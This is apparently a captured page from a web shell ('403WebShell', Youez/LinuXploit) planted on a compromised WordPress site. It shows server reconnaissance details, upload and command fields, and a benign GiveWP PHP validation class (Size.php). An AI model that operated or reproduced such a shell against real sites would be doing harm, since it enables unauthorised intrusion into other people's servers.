Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.117.184.125
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/DonationForms/Rules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/DonationForms/Rules/Size.php
<?php
namespace Give\DonationForms\Rules;


use Closure;
use Give\Vendors\StellarWP\Validation\Config;
use Give\Vendors\StellarWP\Validation\Contracts\ValidatesOnFrontEnd;
use Give\Vendors\StellarWP\Validation\Contracts\ValidationRule;

use function is_numeric;

class Size implements ValidationRule, ValidatesOnFrontEnd
{
    /**
     * @var numeric
     */
    protected $size;

    /**
     * @inheritDoc
     */
    public static function id(): string
    {
        return 'size';
    }

    /**
     * @since 3.0.0
     */
    public function __construct($size)
    {
        if ($size <= 0) {
            Config::throwInvalidArgumentException('Size validation rule requires a non-negative value');
        }

        $this->size = $this->sanitize($size);
    }

    public function sanitize($value)
    {
        if (is_numeric($value)) {
            if (strpos($value, '.') !== false) {
                return (float)$value;
            }

            return (int)$value;
        }

        return $value;
    }

    /**
     * @since 3.0.0
     */
    public static function fromString(string $options = null): ValidationRule
    {
        if (!is_numeric($options)) {
            Config::throwInvalidArgumentException('Size validation rule requires a numeric value');
        }

        return new self($options);
    }

    /**
     * @since 3.0.0
     */
    public function __invoke($value, Closure $fail, string $key, array $values)
    {
        $value = $this->sanitize($value);
        
        if (is_numeric($value)) {
            if ($value !== $this->getSize()) {
                $fail(sprintf(__('%s must be exactly %s', 'give'), '{field}', $this->getSize()));
            }
        } elseif (is_string($value)) {
            if (mb_strlen($value) !== $this->getSize()) {
                $fail(sprintf(__('%s must be exactly %d characters', 'give'), '{field}', $this->getSize()));
            }
        } else {
            Config::throwValidationException("Field value must be a number or string");
        }
    }

    /**
     * @since 3.0.0
     *
     * @return numeric
     */
    public function serializeOption()
    {
        return $this->size;
    }

    /**
     * @since 3.0.0
     *
     * @return numeric
     */
    public function getSize()
    {
        return $this->size;
    }

    /**
     * @since 3.0.0
     *
     * @param  numeric  $size
     *
     * @return void
     */
    public function size($size)
    {
        if ($size <= 0) {
            Config::throwInvalidArgumentException('Size validation rule requires a non-negative value');
        }

        $this->size = $size;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit